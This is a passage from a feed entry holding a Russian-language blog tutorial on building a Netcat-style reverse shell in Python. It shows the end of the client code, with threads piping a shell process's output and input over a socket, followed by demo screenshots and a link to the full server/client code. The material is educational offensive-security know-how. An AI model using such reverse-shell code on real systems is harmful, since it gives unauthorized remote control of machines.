s2p_thread = threading.Thread(target=shellstderr_sender, args=[client, myshellproc])
s2p_thread.daemon = True
s2p_thread.start()

s2p_thread = threading.Thread(target=shellreceiver, args=[client, myshellproc])
s2p_thread.daemon = True
s2p_thread.start()
###############################################

#continuous loop
while True:
    time.sleep(1)
&lt;/pre&gt;
  &lt;h2 id=&quot;serverclient-demo&quot;&gt;&lt;strong&gt;Демонстрация сервера/клиента&lt;/strong&gt;&lt;a href=&quot;https://g3tsyst3m.github.io/sockets/Create-your-own-Netcat-using-Python/#serverclient-demo&quot; target=&quot;_blank&quot;&gt;Постоянная ссылка&lt;/a&gt;&lt;/h2&gt;
  &lt;figure id=&quot;7w43&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://github.com/g3tsyst3m/g3tsyst3m.github.io/assets/19558280/f757cb44-b95f-4e6f-a748-4a8368ed4765&quot; width=&quot;932&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;q9ui&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://github.com/g3tsyst3m/g3tsyst3m.github.io/assets/19558280/fcb1e665-0fa8-42cb-9088-b53fbb611395&quot; width=&quot;422&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;GSrv&quot;&gt;Если вы зашли так далеко, то поздравляю! Извините, я больше не комментировал код. У меня не так много времени, чтобы я мог посвятить эти статьи, но я постарался подробно описать основные аспекты функциональности обратной оболочки сервера/клиента, чтобы вы могли написать свою собственную и построить на ее основе 😸&lt;/p&gt;
  &lt;p id=&quot;p68Y&quot;&gt;Если вам нужен необработанный код, просто перейдите сюда и вы сможете получить как сервер, так и клиент: &lt;a href=&quot;https://github.com/g3tsyst3m/CodefromBlog/tree/main/2023-08-19-Create%20your%20own%20Netcat%20using%20Python&quot; target=&quot;_blank&quot;&gt;код сервера/клиента&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;1Z0e&quot;&gt;Как всегда, спасибо, что читаете!&lt;/p&gt;

</content></entry></feed>